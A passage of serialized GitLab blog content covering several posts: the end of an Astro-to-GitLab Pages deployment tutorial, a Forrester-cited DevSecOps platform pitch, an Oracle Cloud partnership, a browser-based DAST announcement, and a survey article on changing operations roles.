'astro/config';\n\n// https://astro.build/config\nexport default defineConfig({\n  // GitLab Pages requires exposed files to be located in a folder called \"public\".\n  // So we're instructing Astro to put the static build output in a folder of that name.\n  outDir: 'public',\n\n  // The folder name Astro uses for static files (`public`) is already reserved\n  // for the build output. So in deviation from the defaults we're using a folder\n  // called `static` instead.\n  publicDir: 'static',\n});\n```\n\nWhy are we doing this? GitLab Pages is a way to publish some files in a\nrepository, no matter what build tool you used to generate them. Unlike with\nother deployment tools the exposed files and the source code can live \ntogether in one place. So to ensure you don't accidentally expose sensitive\nfiles we're requiring you to consciously put them into a\nfolder named \"public\".\n\nBy default, Astro uses `public` for something different – the static \nassets. So we have to change that behavior. The above config tells Astro\nthat we'll put the static files in a folder named `static` and want the _output_\nfiles to be put in a folder named, as required, `public`.\n\nAstro already generated that assets folder under the old name while\nscaffolding, so we'll have to rename it. Inside your Astro project folder, run:\n\n```shell\nmv public static\n```\n\nDepending on your project configuration, GitLab Pages will deploy your site \nat a URL that follows the format simlar to `https://\u003Cuser-or-group>.gitlab.\nio/\u003Cproject-name>`. If you want to use the default URL, you need to adjust Astro\nto the fact that the site is not mounted at the root path, otherwise it may \nnot load static assets (such as the CSS files) correctly. \n\n[Visit the documentation](https://docs.gitlab.com/ee/user/project/pages/getting_started_part_one.html#gitlab-pages-default-domain-names)\nto find out the URL schema of the project you intend to create, then add the\nfollowing line to your `astro.config.mjs`. (Skip this step if you're creating\na user or group page):\n\n```javascript\n// astro.config.mjs\nexport default defineConfig({\n  // ...\n  base: '/\u003Cproject-name>'\n  // In case the project is owned by a subgroup, use:\n  // base: '/\u003Csubgroup>/\u003Cproject-name>'\n});\n```\n\nAstro [recommends](https://docs.astro.build/en/reference/configuration-reference/#site) \nadding the final site's full URL to generate the sitemap, so add it now to your\n`astro.config.mjs`:\n\n```javascript\n// astro.config.mjs\nexport default defineConfig({\n  // ...\n  site: 'https://\u003Cuser-or-group>.gitlab.io'\n  \n  // Note: Instead of specifying both `base` and `site`, you can simply\n  // use the full URL here:\n  // site: 'https://\u003Cuser-or-group>.gitlab.io/\u003Cproject-name>'\n  // or for pages owned by a subgroup:\n  // site: 'https://\u003Cgroup>.gitlab.io/\u003Csubgroup>/\u003Cproject-name>'\n});\n```\n\nNow that you've successfully configured your project, you can commit your\nchanges.\n\n```shell\ngit add -A\ngit commit -m \"Initial commit\"\n```\n\n## Set up the remote repository\n\nYou can't push the code as we have yet to set up the remote repository. Visit\nGitLab and create a new project. When asked, select \"Create blank project.\"\n\nIn the setup screen, select \"GitLab Pages\" as the deployment target. Choose the\nvisibility level however you like. This is mainly asking whether your source \ncode is public, although it does affect the initial setting (see \"Making a \nprivate project's site public\" below).\n\nMake sure you unset the checkbox next to \"Initialize repository with a README\",\notherwise GitLab will begin a new Git history that you will have to reconcile\nwith your existing local one.\n\nOnce the Project is set up, follow the instructions on how to add an _existing\nrepository_ – if you don't have an existing remote, so you can just run:\n\n```shell\ngit remote add origin \u003Cgit-project-url>\ngit push -u origin --all\n```\n\nNow you've synced your local code with Gitlab, let's finish publishing it with\nPages.\n\n## Create a Pages pipeline\n\nIn GitLab, go to your project's settings and select Pages. You will be welcomed\nby a screen that helps you build a `.gitlab-ci.yml` file.\n\n![Screenshot: The \"Get stated with Pages\" UI](https://about.gitlab.com/images/blogimages/astro-pages/wizard_step_1.png)\n\nEnter \"node:lts\" as the build image. This will give you the latest node \nenvironment with long-time support.\n\nWe've already configured Astro to output our files in a folder named `public`,\nso you can check the checkbox asking you to confirm this.\n\nOn the next page, enter `npm ci` as the installation step. Running `npm ci` \ninstead of `npm install` is recommended for CI environments such as GitLab\nPipelines as it uses the `package-lock.json` to match the installed version \nwith the one you used during development. See the [npm documentation](https://docs.npmjs.com/cli/v8/commands/npm-ci)\nto learn more about `npm ci`.\n\n![Screenshot: Inputting the installation step](https://about.gitlab.com/images/blogimages/astro-pages/wizard_step_2.png)\n\nOn the last page, enter the build command \"npm run build\". Again, click \"next\".\n\n![Screenshot: Inputting the build step](https://about.gitlab.com/images/blogimages/astro-pages/wizard_step_3.png)\n\nNext to the inputs you see the pipeline file that has been built for you. \nThis is the one we want to add to the repository to enable Pages.\n\n![Screenshot: The finished file and the commit step](https://about.gitlab.com/images/blogimages/astro-pages/wizard_step_4.png)\n\nHow does it work in detail? If GitLab sees a job named `pages`, it will \nlook for artifacts inside a root folder `public` and then create a \nGitLab Pages deployment from it.\n\nThe `rules` section ensures the pages deployment is only triggered by \ncommits to the default branch. Every time you push a change to your default \nbranch, Pages will publish the new changes. \n\nIf you're happy with the pipeline, enter a commit message and click \"commit\".\n(Make sure you run `git pull` locally before doing any more changes to \nprevent issues with diverging histories.)\n\nNow having added a commit with a `.gitlab-ci.yml` file, GitLab has kicked off\na pipeline. Visit CI/CD > Pipelines to see the progress. After a couple of \nminutes, you should see the pipeline has succeeded. (If it's showing \"failed\", \nclick on the status button to see the job logs.)\n\n![Screenshot: Pipelines](https://about.gitlab.com/images/blogimages/astro-pages/pipeline_overview.png)\n\nOnce the pipeline has completed, go back to Settings > Pages. You should now see\nthe various settings of your site, including your new site's URL. Click on \nit and, congratulations, you've just deployed your Astro Site wit GitLab \nPages!\n\n![Screenshot: The deployed page](https://about.gitlab.com/images/blogimages/astro-pages/deployed_site.png)\n\n## Making a private project's site public\n\nBy default, a private project's Pages site is only accessible to project \nmembers. If you want your source code to be private, but still have a public \nsite, go to Settings/General and expand \"visibility, project features, permissions\", scroll down to \"Pages\" and set \nit to \"Everyone\".\n\n## Keep reading\n\n- [Tutorial: Use the GitLab UI to deploy your static site](https://docs.gitlab.com/ee/user/project/pages/getting_started/pages_ui.html)\n- [Astro Docs: Deploy your Astro Site to GitLab Pages](https://docs.astro.build/en/guides/deploy/gitlab/)\n- [Watch a video on how to create a Pages Pipeline with the Wizard](https://youtu.be/49hgxqPGofw)\n",[696,232,695],{"slug":12040,"featured":6,"template":678},"publishing-an-astro-site-with-pages","content:en-us:blog:publishing-an-astro-site-with-pages.yml","Publishing An Astro Site With Pages","en-us/blog/publishing-an-astro-site-with-pages.yml","en-us/blog/publishing-an-astro-site-with-pages",{"_path":12046,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12047,"content":12053,"config":12057,"_id":12059,"_type":16,"title":12060,"_source":17,"_file":12061,"_stem":12062,"_extension":20},"/en-us/blog/why-the-market-is-moving-to-a-platform-approach-to-devsecops",{"title":12048,"description":12049,"ogTitle":12048,"ogDescription":12049,"noIndex":6,"ogImage":12050,"ogUrl":12051,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12051,"schema":12052},"Why the market is moving to a platform approach to DevSecOps","A single DevOps platform improves ROI, the developer experience, and customer retention and satisfaction.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667886/Blog/Hero%20Images/cobolshortage.jpg","https://about.gitlab.com/blog/why-the-market-is-moving-to-a-platform-approach-to-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why the market is moving to a platform approach to DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-10-24\",\n      }",{"title":12048,"description":12049,"authors":12054,"heroImage":12050,"date":12036,"body":12055,"category":962,"tags":12056},[711],"The market is moving to a platform approach to [DevSecOps](/topics/devsecops/). What had previously been a process that let different engineering teams adopt their own tools for different stages of the software development lifecycle – what we call “DIY DevOps” – is being replaced by a method that leverages a single application.\n\nWhy is this happening? First, IT managers are coming to grips with the inefficiencies and cost of toolchain sprawl. Second, executives are relying on digital transformation to solve significant business-level problems: improving developer onboarding and productivity, building high-performing teams, securing the software supply chain, and creating a secure on-ramp to the public cloud. Finally, there’s the impact of [the potential recession](https://www.worldbank.org/en/news/press-release/2022/09/15/risk-of-global-recession-in-2023-rises-amid-simultaneous-rate-hikes), which has accelerated the above trends.\n\nWe recently commissioned a [Forrester Consulting “Total Economic Impact™ of GitLab’s Ultimate Plan” study](https://page.gitlab.com/resources-study-forrester-tei-gitlab-ultimate.html) to better understand how companies save on costs and achieve business and technology goals with GitLab. We focused on our Ultimate tier, which is the fastest growing part of the business. We believe the results align with the business requirements needed to endure economic headwinds and position companies for success: strong return on technology investment, cost savings through technical tool consolidation, a faster pace of application releases to acquire and retain customers, greater development and delivery efficiency, increased and simplified security, and a rapid payback period. \n\nGitLab’s DevOps platform enables source code management, continuous integration/continuous delivery, advanced security capabilities, and more in a single application. The Forrester study found that combination led to:\n\n* Three-year ROI of 427%\n* 12x increase in the number of annual releases for revenue generation applications\n* 87% improvement in development and delivery efficiency time\n* Less than six-month payback period\n\n## Understanding DevOps pain points\n\nTo realize the benefits of a single DevOps platform, organizations have to assess their pain points. Here are some common development lifecycle obstacles that affect organizations of all sizes:\n\n* Complex toolchains and processes\n* Inefficient development environments\n* Lack of security skills\n* Rushed development cycles\n* No single source of truth or single code repository\n* Poor software testing practices\n\nAll of these pain points can impede an organization’s ability to manage through a recession and recovery. \n\n## The benefits of a DevOps platform\n\nThe Forrester study found that GitLab Ultimate provided a composite organization, based on interviewed customers, 10 key quantified benefits over a three-year period. While each benefit on its own could have a positive impact on a business’s ability to stay steady and even thrive during difficult economic times, together they are a powerhouse that can eliminate many pain points.\n\nHere are five of those benefits of the GitLab Ultimate Plan:\n\n### Vulnerability management\n\nAs GitLab’s 2022 Global DevSecOps Survey found, [security is top of mind](/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment/) for all DevOps organizations. Yet security at scale can be challenging, especially finding and hiring professionals with the right skills.\n\nA benefit of GitLab Ultimate, according to the Forrester study, is greater efficiency in managing vulnerabilities. The DevOps platform [integrates and automates vulnerability management](/direction/govern/threat_insights/vulnerability_management/) within the development lifecycle. Issues can be identified, logged, triaged, tracked, and remediated – all in the same DevOps application. Developers can address vulnerabilities in real time, avoiding release delays or software defects and bugs. According to Forrester, the composite organization realized savings of “hours a week because developers have access to better context about the vulnerabilities. This in turn means less back and forth between development and QA/security on an issue.”\n\n### Less homegrown tool development/open source solution management\n\nDevOps teams often spend a considerable amount of time creating tools they need from scratch or finding and managing open source options. GitLab reduces [toolchain complexity (a.k.a. debt)](/blog/battling-toolchain-technical-debt/) by building into the platform the tools and features developers need, enabling them to manage their environment as a single application. GitLab Ultimate enabled the Forrester study’s composite organization to shift “from manually intensive tasks requiring the full attention of the developer, security, and operations teams to an environment where they now spend no more than a few hours per day per person on the same tasks.”\n\n### Efficient development\n\nA highly efficient development process impacts the developer experience, which improves retention. GitLab Ultimate enabled the composite organization to develop code faster, deliver higher quality code, enable better collaboration, and improve the ability to monitor applications, according to the Forrester study. Other advantages include: more streamlined processes, better efficiency among developers and non-technical teammates, and improved visibility and collaboration across the SDLC.\n\n### Better code quality\n\nPoor code quality directly affects a company’s ability to attract and retain customers. GitLab enabled the composite organization to have “a single application that streamlines processes to ensure code is tested, scanned, and verified before it is released,” according to the Forrester study. The result is high-quality code (with reduced defects and bugs) that meets security standards.\n\n### More releases, faster\n\nOrganizations want to be able to address customer needs for newer applications, updates, and enhanced feature sets in a timely fashion. With GitLab, the composite organization can “increase the velocity of updates and releases, allowing it to meet customers’ rising digital demands.”\n\nDevOps brought about the following unquantified benefits for the composite organization, according to the Forrester study: more satisfied employees because they are more productive and collaborative; more satisfied customers because of a smoother project workflow, improved release quality, and a faster release frequency; and improved market innovation and competitiveness due to faster development lifecycle and time to market.\n\nWhile DevOps platform benefits are applicable to any economic environment, they are even more so in this time of economic uncertainty. GitLab enables organizations to extract the most out of their DevOps environment and achieve faster, higher quality, and more secure development and release cycles.\n\n> Download the full [Forrester Consulting “Total Economic Impact of GitLab’s Ultimate Plan” study](https://page.gitlab.com/resources-study-forrester-tei-gitlab-ultimate.html) for:\n\n* Additional benefits of GitLab Ultimate Plan\n* Testimonials from GitLab customers Forrester interviewed\n* Assumptions and risks to calculate ROI",[4103,1307,1268],{"slug":12058,"featured":6,"template":678},"why-the-market-is-moving-to-a-platform-approach-to-devsecops","content:en-us:blog:why-the-market-is-moving-to-a-platform-approach-to-devsecops.yml","Why The Market Is Moving To A Platform Approach To Devsecops","en-us/blog/why-the-market-is-moving-to-a-platform-approach-to-devsecops.yml","en-us/blog/why-the-market-is-moving-to-a-platform-approach-to-devsecops",{"_path":12064,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12065,"content":12071,"config":12079,"_id":12081,"_type":16,"title":12082,"_source":17,"_file":12083,"_stem":12084,"_extension":20},"/en-us/blog/gitlab-and-oracle-partner-for-a-cloud-native-approach-to-modern-application-development",{"title":12066,"description":12067,"ogTitle":12066,"ogDescription":12067,"noIndex":6,"ogImage":12068,"ogUrl":12069,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12069,"schema":12070},"Oracle and GitLab partner for cloud-native app development","Learn the benefits of deploying the DevOps platform on Oracle Cloud Infrastructure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668514/Blog/Hero%20Images/multi-cloud-future.jpg","https://about.gitlab.com/blog/gitlab-and-oracle-partner-for-a-cloud-native-approach-to-modern-application-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and Oracle partner for a cloud native approach to modern application development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Creighton Swank\"},{\"@type\":\"Person\",\"name\":\"Vick Kelkar\"}],\n        \"datePublished\": \"2022-10-20\",\n      }",{"title":12072,"description":12067,"authors":12073,"heroImage":12068,"date":12076,"body":12077,"category":962,"tags":12078},"GitLab and Oracle partner for a cloud native approach to modern application development",[12074,12075],"Creighton Swank","Vick Kelkar","2022-10-20","\nModern application development requires a cloud native platform that can operate in and across multiple cloud providers. GitLab has partnered with Oracle to enable customers to run GitLab’s DevOps platform on Oracle Cloud Infrastructure (OCI).\n\nWith OCI, organizations can accelerate migrations of existing enterprise workloads, deliver better reliability and performance for all applications, and offer the complete services customers need to build innovative cloud applications. With GitLab’s DevOps platform and OCI, businesses can create a resilient, high-performance DevOps environment. OCI also supports automatic operating system patching and zero trust architecture, which aligns with GitLab’s focus on [application security](/stages-devops-lifecycle/secure/).\n\n## The benefits of pairing GitLab and OCI\n\nPairing GitLab’s DevOps platform and OCI provides many benefits, including the following:\n\n- performance\n- platform breadth\n- security\n- value\n- hybrid and multi-cloud environments\n- GovCloud regions\n\n### Performance\n\nOCI provides a high-performance, resilient foundation for cloud services. Customers can quickly provision instances that feature the latest-generation processors via API, SDK, command line, Terraform, or the console. Workloads can scale up and/or out based on their requirements and compute-intensive workloads can leverage GPU shapes for hardware acceleration of AI/ML workloads. At the same time, GitLab runners can be configured to [leverage Nvidia GPUs](https://docs.gitlab.com/runner/configuration/gpus.html) for various executors to take advantage of GPUs and AI/ML workloads. \n\n### Platform breadth\n\nGitLab’s DevOps platform has the ability to integrate with Kubernetes service like OKE via GitLab Kubernetes agent. Leveraging GitLab’s Kubernetes agent will unlock [GitOps workflow](https://docs.gitlab.com/ee/user/clusters/agent/gitops.html) and [CI/CD workflow](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html) for cloud native development. And the Oracle Cloud Infrastructure also offers a wide variety of platform services that allow customers to run workloads without having to manage infrastructure. Customers can run workloads on compute instances, in containers with Oracle Kubernetes Engine (OKE), or even as serverless functions. Services like object storage and events can be leveraged to build applications without managing infrastructure at all. For a complete list of these services, please click [here](https://docs.oracle.com/en-us/iaas/Content/services.htm). \n\n### Security\n\nThe second generation of OCI has been redesigned from the ground up to be a secure cloud. Oracle designed OCI architecture for security of the platform through isolated network virtualization, highly secure firmware installation, a controlled physical network, and network segmentation. GitLab’s DevOps platform is not only an ODIC provider but the platform integrates with other identity providers to support single sign-on capabilities. The platform’s [permission model](https://docs.gitlab.com/ee/user/permissions.html#instance-wide-user-permissions) follows similar approaches used by OCI around separation of concerns and role-based access to resources. \n\n### Value\n\nMission-critical and revenue-generating applications demand more than just availability from their cloud infrastructure. Mission-critical workloads also require consistent performance and the ability to manage, monitor, and modify resources running in the cloud at any time. OCI offers end-to-end SLAs covering performance, availability, and manageability of services. \n\nGitLab’s DevOps platform uses the same code base for the SaaS offering as well as self-managed instances. Having the same code base allows customers to adopt the mission-critical DevOps platform in heavily regulated industries such as financial services and healthcare.\n\n### Support for hybrid and multi-cloud environments\n\nEven though many enterprises are moving workloads to the cloud, the reality is this is a multi-cloud world, and many enterprises still maintain infrastructure locally. Oracle has entered into strategic partnerships designed to make it easier for customers to operate in a hybrid and multi-cloud environment. \n\nOracle has partnered with VMware to create the Oracle Cloud VMware solution that allows customers the ability to use their existing tools and processes to manage a VMware environment in OCI. This allows enterprises to accelerate cloud adoption without having to re-architect their applications.\n\nGitLab’s DevOps platform can be deployed on vSphere infrastructure using the GitLab [omnibus install](https://docs.gitlab.com/omnibus/) method. The platform can be installed on-premises or in the cloud. GitLab can be deployed on VMs and the GitLab runners can extend CI capabilities into other cloud environments and [cloud-native hybrid](https://docs.gitlab.com/ee/administration/reference_architectures/#cloud-native-hybrid) deployments.\n\n### GovCloud regions\n\nOCI can provide government customers with the stringent security standards necessary to protect the federal government's data. Oracle has obtained a P-ATO from the Joint Authorization Board for FedRAMP High in its U.S. Government Cloud regions. Varying levels of DISA authorizations are also available but vary by services. Find an up-to-date list [here](https://www.oracle.com/industries/government/federal/fedramp/). Meanwhile, GitLab is pursuing a FedRAMP moderate certification and working on activities related to FedRAMP-ready designation. \n\n## Get started with the GitLab DevOps platform and OCI\nOrganizations looking to run GitLab’s DevOps platform on OCI can leverage the supported [Oracle Linux](/install/) package for the platform install. Alternatively, they can leverage the helm chart or GitLab Operator to deploy to Oracle Kubernetes Engine (OKE), which will provide a [cloud-native hybrid approach](https://docs.gitlab.com/ee/administration/reference_architectures/25k_users.html#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) of the GitLab DevOps platform on OCI.\n\nGitLab’s DevOps platform, delivered as a single application, can run on multiple clouds and has the capability of supporting various official [Linux packages](/install/). Besides Linux packages, GitLab’s platform also supports deployments on Kubernetes using [helm charts](https://docs.gitlab.com/charts/) and Kubernetes [GitLab Operator](https://docs.gitlab.com/operator/). \n\nIf you would like to learn more about the GitLab DevOps platform and OCI, please access the [LiveLabs](https://apexapps.oracle.com/pls/apex/dbpm/r/livelabs/home).\n\n_[Kelkar](https://gitlab.com/vkelkar) is GitLab's Director of Alliances. Swank is Distinguished Cloud Architect and Cloud CTO at Oracle._\n",[4103,815,3949,282],{"slug":12080,"featured":6,"template":678},"gitlab-and-oracle-partner-for-a-cloud-native-approach-to-modern-application-development","content:en-us:blog:gitlab-and-oracle-partner-for-a-cloud-native-approach-to-modern-application-development.yml","Gitlab And Oracle Partner For A Cloud Native Approach To Modern Application Development","en-us/blog/gitlab-and-oracle-partner-for-a-cloud-native-approach-to-modern-application-development.yml","en-us/blog/gitlab-and-oracle-partner-for-a-cloud-native-approach-to-modern-application-development",{"_path":12086,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12087,"content":12093,"config":12099,"_id":12101,"_type":16,"title":12102,"_source":17,"_file":12103,"_stem":12104,"_extension":20},"/en-us/blog/browser-based-dast-feature-announcement",{"title":12088,"description":12089,"ogTitle":12088,"ogDescription":12089,"noIndex":6,"ogImage":12090,"ogUrl":12091,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12091,"schema":12092},"Introducing browser-based DAST and integrated passive checks","We're working hard on reducing noise. Here's what you need to know about the status of our browser-based DAST offering today.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682466/Blog/Hero%20Images/vek-labs-e8ofKlNHdsg-unsplash.jpg","https://about.gitlab.com/blog/browser-based-dast-feature-announcement","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing browser-based DAST and integrated passive checks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Isaac Dawson\"}],\n        \"datePublished\": \"2022-10-19\",\n      }",{"title":12088,"description":12089,"authors":12094,"heroImage":12090,"date":12096,"body":12097,"category":695,"tags":12098},[12095],"Isaac Dawson","2022-10-19","\n\nThe [DAST](/direction/secure/dynamic-analysis/dast/) and [Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/) teams at GitLab are excited to announce we have fully [integrated passive checks](/releases/2022/08/22/gitlab-15-3-released/#browser-based-dast-passive-check-milestone) into our new [browser-based DAST analyzer](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html). Passive checks work by monitoring the network traffic to target applications while the web site is automatically crawled. This allows us to identify weaknesses that may exist without sending potentially disruptive network requests. This continues our effort to fully switch over to our browser-based analyzer for DAST in the coming months. If you are interested in using our new DAST analyzer please see our [documentation on how to configure a browser-based DAST scan](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html).\n\n## History of DAST at GitLab\n\nDAST was [officially launched](/releases/2018/01/22/gitlab-10-4-released/) as a part of the GitLab 10.4 release in January 2018. By utilizing the powerful OWASP [Zed Attack Proxy](https://www.zaproxy.org/) we were able to give our customers the ability to dynamically scan\ntheir web applications. From that initial minimal viable product, we have grown to the point where we are now running over a million scans a month.\n\nScanning web applications in the CI/CD context comes with challenges. Unlike [SAST](/direction/secure/static-analysis/sast/), which is relatively fast, dynamically scanning an application can take a significant amount of time. DAST is resource intensive as it needs to process each request and response to the target application. To ensure smooth operations for the majority of our customers we have to run under the assumption that our memory and CPU footprints should be as small as possible. Finally, and most likely the biggest pain point, is the disconnect that often occurs when trying to visualize or understand how a web application should be analyzed when one can not physically see any of the interactions between the scanner and the target application.\n\nZAP was originally built as a desktop application, meaning auditors could use it to see the target application while conducting their testing. Only by utilizing ZAP's scripting API could we make DAST scans viable in a CI/CD context. This surfaced some challenges: what is easy to configure in the UI may or may not be straightforward to adjust from a configuration file or a command line option. \n\nWhen reviewing our support tickets however, a very clear picture began to surface. Users were having the most problem with configuring authentication for their applications. This makes sense, as it is where the user interacts with the scanner the most. Modern applications almost require a browser to authenticate, due to relying on browser features like local or session storage. These features are commonly used for handling JSON Web Token (JWT) based authentication and authorization. \n\nIt should be noted that ZAP does have a browser based crawler extension, called AJAX Spider. This extension uses [Crawljax](https://github.com/crawljax/crawljax). GitLab provides this feature by supplying the correct CI/CD variable, but it is no longer recommended. AJAX Spider is however, only an extension, and does not represent a tight integration between the browser and the DAST tool. \n\n## A path forward\n\nWe needed a system where we could have full control over a browser to allow us to instrument interactions between a website and the DAST tool. A DAST tool which does not tightly integrate with a browser will be limited in its ability to fully interact with today's demanding web applications. Just some of the challenges of this are:\n\n- Single Page Applications (SPAs)\n- Complex, multi-step sign in features\n- Complex front-end frameworks  \n- Utilization of built-in browser features (e.g. usage of localStorage or sessionStorage) \n\nA new DAST tool based completely off instrumenting a browser and written in Go would give GitLab a lot more control going forward. What started as a side project during nights and weekends began to show some promise. The Vulnerability Research and DAST teams worked together to assess the viability of building out this DAST analyzer. To allow us to take advantage of new features without having to implement the entire engine, we opted to continue to use ZAP as the proxy. This means our analyzer is forwarding all the browser traffic through ZAP, but processing logic of crawling and passive checks are now done in our engine. While we've been relatively quiet on our progress, we've been incrementally rolling out new features with almost every release. The end goal is to completely replace ZAP with our own engine.\n\n## Where we are today\n\nOf course the biggest announcement is that we have fully switched over to using our own vulnerability check system for passive checks. These checks replace ZAP's \"passive\" checks. The Vulnerability Research team invested a lot of time looking over how each ZAP plugin worked and determined whether it was worth implementing, or if it should be implemented differently. Alert fatigue is a real concern we share with our customers. By reducing the noise (false positives) in our DAST offering, we hope to reduce the chance of our customers ignoring real findings. As such, our goal is to significantly reduce the noise that is usually associated with DAST scan results, and this is achieved through three different methods:\n\n1. Not implementing certain checks\n2. Reducing false positives (incorrect findings) \n3. Aggregating true positives (real findings)\n\nPoint one is worth expanding upon. DAST vulnerabilities are unique in that in some cases the fix for a vulnerability is reliant on the browser or user-agent being modified, and not  the target application. Browsers increase their security directly or have it increased by deprecating features that were used in attacks. Browsers deciding to disable Flash is a good example of this – what was a vulnerability yesterday may no longer be a vulnerability today. \n\nZAP's check for [Charset mis-match](https://www.zaproxy.org/docs/alerts/90011/) is another case in point. After [researching](https://gitlab.com/gitlab-org/gitlab/-/issues/331218) what was possible in 2022, it turns out this is no longer an issue worth reporting. Other DAST tools report similar issues that are no longer realistically exploitable or worth reporting, so this is not just an issue with ZAP. \n\nReducing false positives is another major initiative, and one that led us to create a rather unique system for creating new vulnerability checks. Traditionally, DAST tools use a plugin architecture of hardcoded vulnerability checks. While quick to implement, they can have the downside of being difficult to understand or error prone. They are also harder to implement in a standardized way. At GitLab we opted to use a configuration-file-based check system, much like today's SAST tools. \n\nFinally, aggregating true positives allows us to merge similar issues into a single finding. These types of issues are usually fixed by a single configuration change, such as adding a security header.\n\nOur passive checks are almost entirely written in YAML, using a custom specification that allows us to define a check as text. Where this is not feasible, reusable components are written that can be referenced by various checks. Below is an example check that looks for the `X-Content-Type-Options` header in HTTP response headers and reports if it is missing the `nosniff` value.\n\n```yaml\n",[942,754,1207],{"slug":12100,"featured":6,"template":678},"browser-based-dast-feature-announcement","content:en-us:blog:browser-based-dast-feature-announcement.yml","Browser Based Dast Feature Announcement","en-us/blog/browser-based-dast-feature-announcement.yml","en-us/blog/browser-based-dast-feature-announcement",{"_path":12106,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12107,"content":12113,"config":12117,"_id":12119,"_type":16,"title":12120,"_source":17,"_file":12121,"_stem":12122,"_extension":20},"/en-us/blog/how-modern-devops-practices-are-changing-the-operations-role",{"title":12108,"description":12109,"ogTitle":12108,"ogDescription":12109,"noIndex":6,"ogImage":12110,"ogUrl":12111,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12111,"schema":12112},"How modern DevOps practices are changing the operations role","Today, the ops role is about far more than just keeping the lights on. Here's how modern DevOps practices are expanding ops' responsibilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663982/Blog/Hero%20Images/2022-devsecops-survey-blog-header.png","https://about.gitlab.com/blog/how-modern-devops-practices-are-changing-the-operations-role","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How modern DevOps practices are changing the operations role\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-10-19\",\n      }",{"title":12108,"description":12109,"authors":12114,"heroImage":12110,"date":12096,"body":12115,"category":962,"tags":12116},[11618],"\nRemember NoOps, the idea that automation would eliminate the operations role completely? Fast forward a few years and the idea of NoOps today seems almost laughable. In today’s modern DevOps teams it’s safe to say it’s really _“AlltheOps_,” at least based on the results of our [2022 Global DevSecOps Survey](/developer-survey/).\n\n## An expanding role\n\n[No DevOps job is static](/blog/the-changing-roles-in-devsecops/), but ops pros are experiencing truly dramatic changes to their work lives. In fact, ops pros reported seven areas of responsibility now added to their plates thanks to modern DevOps practices:\n\n- Managing the cloud\n- Managing the hardware/infrastructure\n- Maintaining the toolchain\n- DevOps coaching\n- Responsibility for automation\n- Overseeing all compliance and audits\n- Platform engineering\n\nManaging the cloud and hardware/infrastructure were the two tasks most frequently named, and they were split nearly evenly down the middle, with roughly 50% of ops pros focusing on one or the other task primarily. Another area – [maintaining the toolchain](/blog/too-many-toolchains-a-devops-platform-migration-is-the-answer/) – is apparently now a job shared with developers, as devs also told us they were spending more time on toolchain maintenance and integration than ever before. That’s not surprising: 44% of teams reported they use between two and five tools, while 41% use between six and 10 tools. That’s a lot of tools, which is clearly one reason for the added ops support. \n\nCompliance and audits are another “new to Ops” area of focus, and this added emphasis comes at a time when organizations everywhere are trying to avoid security breaches with [an increased focus on compliance](/blog/the-importance-of-compliance-in-devops/). It’s a time-consuming process: The majority of ops pros told us they spend between one-quarter and half their time [on audits and compliance](/blog/what-you-need-to-know-about-devops-audits/), a 15% increase since 2021. Almost 25% of ops pros spend between half and three-quarters of their time on these tasks. \n\n## Keeping the balls in the air\n\nThe rising use of [DevOps platforms](/topics/devops-platform/) (75% of our respondents said their organizations already use a DevOps platform or plan to add one this year) is driving operations team members toward [platform engineering](/topics/devops/what-is-a-devops-platform-engineer/). Operations pros are also doubling down on tasks that were likely more informal in the past: DevOps coaching and responsibility for automation. The focus on automation is clearly paying off: In 2022, just shy of 25% of ops pros said their modern DevOps practices were fully automated, up 5 points from 2021 and nearly 17 points from 2020. All told, 68% of ops pros said their DevOps teams were “completely” or “mostly” automated.\n\nAnd while ops is adding new responsibilities thanks to modern DevOps, developers are picking up tasks that have traditionally belonged to operations:\n\n- Nearly 77% of devs can provision their own environments.\n- Roughly 38% of developers instrument the code.\n- Another 38% monitor and respond to the infrastructure. \n- 36% of devs said they’re on-call for in-app production alerts.\n\nThe role-swapping doesn't stop there: Nearly 50% of ops pros said they're solely responsible for security on their DevOps teams, up 20% from last year. To put that into perspective, 53% of security respondents told us they felt security was *everyone's* responsiblity.\n\n## Ops, modern DevOps, and TMI\n\nOps pros’ new roles have created some surprising by-products, namely loads of data that teams aren’t necessarily set up to manage effectively. In fact, many of today’s operations teams have a “too much information” problem. A full 39% of ops pros said the DevOps data they need exists but accessing and managing it is difficult. Another 27% said they’re “overwhelmed” by the amount and scope of the data while 14% don’t know what data they need or say their organizations don’t track it. Less than 20% of ops pros say they have the data they need and it’s easy to work with.\n\nHow do you see the ops role changing in the modern DevOps world? Let us know in the comments.\n",[4103,8570,2704],{"slug":12118,"featured":6,"template":678},"how-modern-devops-practices-are-changing-the-operations-role","content:en-us:blog:how-modern-devops-practices-are-changing-the-operations-role.yml","How Modern Devops Practices Are Changing The Operations 